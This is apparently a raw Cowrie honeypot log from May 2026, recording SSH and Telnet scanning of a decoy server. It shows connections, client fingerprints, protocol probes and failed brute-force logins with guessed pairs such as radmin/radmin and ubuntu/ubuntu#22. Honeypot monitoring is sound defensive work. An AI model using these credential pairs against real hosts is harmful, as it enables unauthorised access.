{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:14.775150Z","src_ip":"190.242.109.42","session":"bf6ed5e6d7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00217604637146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:15.752592Z","src_ip":"212.55.149.117","session":"ac357618721e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.47","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4524a2d9d13","protocol":"ssh","message":"New connection: 66.132.195.47:39170 (10.17.0.5:22) [session: d4524a2d9d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:25.819390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:25.828466Z","src_ip":"66.132.195.47","session":"d4524a2d9d13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:25.851597Z","src_ip":"66.132.195.47","session":"d4524a2d9d13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.219.64.66","src_port":10412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac321c420b0c","protocol":"telnet","message":"New connection: 106.219.64.66:10412 (10.17.0.5:23) [session: ac321c420b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:36.217885Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:40.934721Z","src_ip":"66.132.195.47","session":"d4524a2d9d13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.27683901786804,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:44.962130Z","src_ip":"212.55.149.117","session":"29d990528d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":59898,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a4a487ffd32","protocol":"ssh","message":"New connection: 151.80.141.196:59898 (10.17.0.5:22) [session: 8a4a487ffd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:48.352679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:48.362465Z","src_ip":"151.80.141.196","session":"8a4a487ffd32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:48.433986Z","src_ip":"151.80.141.196","session":"8a4a487ffd32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"abcd1234","message":"login attempt [testuser/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:48.725382Z","src_ip":"151.80.141.196","session":"8a4a487ffd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:49.809499Z","src_ip":"151.80.141.196","session":"8a4a487ffd32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60806,"dst_ip":"10.17.0.5","dst_port":22,"session":"49e817a67baf","protocol":"ssh","message":"New connection: 103.147.159.91:60806 (10.17.0.5:22) [session: 49e817a67baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:49.901690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:49.912355Z","src_ip":"103.147.159.91","session":"49e817a67baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:50.210784Z","src_ip":"103.147.159.91","session":"49e817a67baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.217595100402832,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:50.435367Z","src_ip":"106.219.64.66","session":"ac321c420b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":56970,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0f991d460c","protocol":"telnet","message":"New connection: 212.55.149.117:56970 (10.17.0.5:23) [session: cb0f991d460c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:50.849756Z"}
{"eventid":"cowrie.login.failed","username":"radmin","password":"radmin","message":"login attempt [radmin/radmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:51.417818Z","src_ip":"103.147.159.91","session":"49e817a67baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:28:52.713911Z","src_ip":"103.147.159.91","session":"49e817a67baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a50c599c83","protocol":"telnet","message":"New connection: 212.55.149.117:56512 (10.17.0.5:23) [session: f9a50c599c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:18.207208Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":5616,"dst_ip":"10.17.0.5","dst_port":23,"session":"891730587032","protocol":"telnet","message":"New connection: 34.62.197.232:5616 (10.17.0.5:23) [session: 891730587032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:20.767587Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":5618,"dst_ip":"10.17.0.5","dst_port":23,"session":"0828f4036947","protocol":"telnet","message":"New connection: 34.62.197.232:5618 (10.17.0.5:23) [session: 0828f4036947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:20.923441Z"}
{"eventid":"cowrie.session.closed","duration":0.005869150161743164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:20.929194Z","src_ip":"34.62.197.232","session":"0828f4036947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":5634,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e28dbb69f6d","protocol":"telnet","message":"New connection: 34.62.197.232:5634 (10.17.0.5:23) [session: 4e28dbb69f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:21.079275Z"}
{"eventid":"cowrie.session.closed","duration":1.7972228527069092,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:22.564693Z","src_ip":"34.62.197.232","session":"891730587032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":39806,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b665e4319e","protocol":"ssh","message":"New connection: 190.242.109.42:39806 (10.17.0.5:22) [session: 77b665e4319e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:22.659037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:22.664049Z","src_ip":"190.242.109.42","session":"77b665e4319e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:22.749705Z","src_ip":"190.242.109.42","session":"77b665e4319e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#22","message":"login attempt [ubuntu/ubuntu#22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:23.117965Z","src_ip":"190.242.109.42","session":"77b665e4319e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:24.219649Z","src_ip":"190.242.109.42","session":"77b665e4319e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16678,"dst_ip":"10.17.0.5","dst_port":23,"session":"3576bdcd2e41","protocol":"telnet","message":"New connection: 34.62.197.232:16678 (10.17.0.5:23) [session: 3576bdcd2e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.241704Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.249280Z","src_ip":"34.62.197.232","session":"3576bdcd2e41","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.254621Z","src_ip":"34.62.197.232","session":"3576bdcd2e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09831094741821289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.339885Z","src_ip":"34.62.197.232","session":"3576bdcd2e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16688,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb86736baf1a","protocol":"telnet","message":"New connection: 34.62.197.232:16688 (10.17.0.5:23) [session: bb86736baf1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.417637Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16696,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5e0d2b5eed9","protocol":"telnet","message":"New connection: 34.62.197.232:16696 (10.17.0.5:23) [session: a5e0d2b5eed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.576871Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16706,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0f767cccb7","protocol":"telnet","message":"New connection: 34.62.197.232:16706 (10.17.0.5:23) [session: ac0f767cccb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.733448Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16710,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d5d62781ad1","protocol":"telnet","message":"New connection: 34.62.197.232:16710 (10.17.0.5:23) [session: 8d5d62781ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:30.888717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16726,"dst_ip":"10.17.0.5","dst_port":23,"session":"5abfa5bbfdf8","protocol":"telnet","message":"New connection: 34.62.197.232:16726 (10.17.0.5:23) [session: 5abfa5bbfdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.043647Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16736,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d87559acb5d","protocol":"telnet","message":"New connection: 34.62.197.232:16736 (10.17.0.5:23) [session: 3d87559acb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.200798Z"}
{"eventid":"cowrie.session.closed","duration":0.00493931770324707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.205585Z","src_ip":"34.62.197.232","session":"3d87559acb5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16750,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea03cbf4649","protocol":"telnet","message":"New connection: 34.62.197.232:16750 (10.17.0.5:23) [session: 7ea03cbf4649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.354440Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c5475949ddb","protocol":"telnet","message":"New connection: 34.62.197.232:16764 (10.17.0.5:23) [session: 7c5475949ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.514717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16774,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dfac12adecf","protocol":"telnet","message":"New connection: 34.62.197.232:16774 (10.17.0.5:23) [session: 0dfac12adecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.670086Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16776,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac7ae3a248c","protocol":"telnet","message":"New connection: 34.62.197.232:16776 (10.17.0.5:23) [session: aac7ae3a248c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:31.906213Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16780,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba56f3b6a22","protocol":"telnet","message":"New connection: 34.62.197.232:16780 (10.17.0.5:23) [session: 7ba56f3b6a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.065289Z"}
{"eventid":"cowrie.session.closed","duration":0.0054476261138916016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.070576Z","src_ip":"34.62.197.232","session":"7ba56f3b6a22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16788,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d51ad2f075e","protocol":"telnet","message":"New connection: 34.62.197.232:16788 (10.17.0.5:23) [session: 2d51ad2f075e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.219039Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16796,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2204f6c94f6","protocol":"telnet","message":"New connection: 34.62.197.232:16796 (10.17.0.5:23) [session: e2204f6c94f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.373676Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16798,"dst_ip":"10.17.0.5","dst_port":23,"session":"e365420328ca","protocol":"telnet","message":"New connection: 34.62.197.232:16798 (10.17.0.5:23) [session: e365420328ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.528121Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16800,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c4a3115f0bc","protocol":"telnet","message":"New connection: 34.62.197.232:16800 (10.17.0.5:23) [session: 0c4a3115f0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.682364Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16812,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5111f55e16d","protocol":"telnet","message":"New connection: 34.62.197.232:16812 (10.17.0.5:23) [session: c5111f55e16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.836981Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16820,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2b7ea7df3e","protocol":"telnet","message":"New connection: 34.62.197.232:16820 (10.17.0.5:23) [session: 0a2b7ea7df3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:32.991136Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16836,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03517ab7554","protocol":"telnet","message":"New connection: 34.62.197.232:16836 (10.17.0.5:23) [session: a03517ab7554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.154420Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab302e93c1c6","protocol":"telnet","message":"New connection: 34.62.197.232:16852 (10.17.0.5:23) [session: ab302e93c1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.309490Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.197.232","src_port":16854,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fa3d973721","protocol":"telnet","message":"New connection: 34.62.197.232:16854 (10.17.0.5:23) [session: 75fa3d973721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.464703Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:29:33.470258Z","src_ip":"34.62.197.232","session":"75fa3d973721","protocol":"telnet"}
